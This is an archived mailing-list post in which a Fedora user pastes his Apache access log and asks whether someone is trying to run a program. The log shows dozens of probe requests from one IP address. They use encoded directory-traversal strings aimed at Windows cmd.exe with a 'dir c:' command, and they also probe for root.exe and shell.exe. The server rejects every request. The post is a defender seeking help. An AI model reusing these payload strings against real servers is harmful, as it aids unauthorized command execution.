cron log?

Knute Johnson knute at frazmtn.com
Sun May 8 23:32:40 UTC 2005 

Alexander:

Here is my access_log.  Does it look like somebody is trying to 
execute a program?

Thanks,

knute...

[root at ljr-2 httpd]# cat access_log
66.157.28.95 - - [08/May/2005:14:05:06 -0700] "GET /..%255c..%
255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 362 "-" 
"Mozilla/3.0
(compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:11 -
0700]
"GET /..%c0% af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 359 
"-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:05:15 -0700] "GET /_vti_bin/.%252e/.%
252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 381 
"-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:05:21 -0700] "GET /_vti_bin/..%%35%
63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir
 +c:
HTTP/1.1" 400 358 "-" "Mozilla/3.0 (compatible; Indy Library)"
66.157.28.95 - - [08/May/2005:14:05:24 -0700] "GET 
/_vti_bin/..%%35c..%%
35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 
400
358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:05:28 -0700] "GET /_vti_bin/..%25%35%
63..%25%35%63..%25%35%63..%25%35%63..%25%35%
63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 389 "-" 
"Mozilla/3.0
(compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:05:56 -
0700]
"GET /_vti_bin/..%255c..%
255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1" 404
389 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:06:29 -0700] "GET /_vti_bin/..%c0%
af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 
404
382 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:06:31 -0700] "GET /_vti_cnf/..%255c..%
255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 391 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:06:36 -0700] "GET /_vti_cnf/..%c0%af..%
c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 384 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:06:39 -0700] "GET /adsamples/..%255c..%
255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 392 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:06:45 -0700] "GET /adsamples/..%c0%
af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 385 "-" "Mozilla/3.0 (compatible; Indy Library)"
66.157.28.95 - - [08/May/2005:14:06:48 -0700] "GET /cgi-
bin/..%255c..%
255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 390 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:06:53 -0700] "GET /cgi-bin/..%c0%af..%
c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 383 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:06:59 -0700] "GET /iisadmpwd/..%252f..%
252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 392 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:12 -0700] "GET /iisadmpwd/..%255c..%
255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 392 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:16 -0700] "GET /iisadmpwd/..%c0%
af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 385 "-" "Mozilla/3.0 (compatible; Indy Library)"
66.157.28.95 - - [08/May/2005:14:07:20 -0700] "GET /iisadmpwd/..%c0%
af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 
404
383 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:29 -0700] "GET /msadc/.%252e/.%
252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 378 
"-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:34 -0700] "GET /MSADC/..%%35%63..%%
35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 
358
"-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:40 -0700] "GET /msadc/..%%35%
63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
400 358 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:44 -0700] "GET /MSADC/..%%35c..%%
35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-
"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:50 -0700] "GET /msadc/..%%35c../..%%
35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-
"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:53 -0700] "GET /msadc/..%25%35%63..%
25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 378 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:07:57 -0700] "GET /msadc/..%25%35%
63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 382 "-" "Mozilla/3.0 (compatible; Indy Library)"
66.157.28.95 - - [08/May/2005:14:08:01 -0700] "GET /msadc/..%255c..%
255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 378 
"-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:08:05 -0700] "GET /msadc/..%255c../..%
255c../..%255c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 382 "-
"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:08:11 -0700] "GET /msadc/..%c0%af../..%
c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 379 
"-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:08:23 -0700] "GET /msadc/..%c0%af../..%
c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 372 "-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:08:33 -0700] "GET /msadc/../%e0/%80/%
af../../%e0/%80/%af../../%e0/%80/%af../winnt/system32/cmd.exe/?/c/+dir
 +c:
HTTP/1.1" 404 369 "-" "Mozilla/3.0 (compatible; Indy Library)"
66.157.28.95 - - [08/May/2005:14:08:45 -0700] "GET /msdac/root.exe?/c
+dir+c: HTTP/1.1" 404 344 "-" "Mozilla/3.0 (compatible; Indy 
Library)"
66.157.28.95 - - [08/May/2005:14:09:39 -0700] "GET 
/PBServer/..%%35c..%%
35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:10:07 -0700] "GET /PBServer/..%255c..%
255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 376 "-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:10:10 -0700] "GET /Rpc/..%%35%63..%%35%
63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:10:18 -0700] "GET /Rpc/..%%35c..%%
35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 358 "-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:10:22 -0700] "GET /Rpc/..%25%35%63..%
25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 371 
"-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:10:27 -0700] "GET /Rpc/..%255c..%
255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 371 "-"
"Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:10:30 -0700] "GET /samples/..%255c..%
255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: 
HTTP/1.1"
404 390 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.157.28.95 - -
[08/May/2005:14:11:24 -0700] "GET /scripts/.%252e/.%
252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 370 "-" 
"Mozilla/3.0
(compatible; Indy Library)" 66.157.28.95 - - [08/May/2005:14:17:47 -
0700]
"GET /scripts/shell.exe?/c +dir+c: HTTP/1.1" 404 347 "-" "Mozilla/3.0
(compatible; Indy Library)" [root at ljr-2 httpd]#

-- 
Knute Johnson
Molon Labe...

More information about the fedora-list mailing list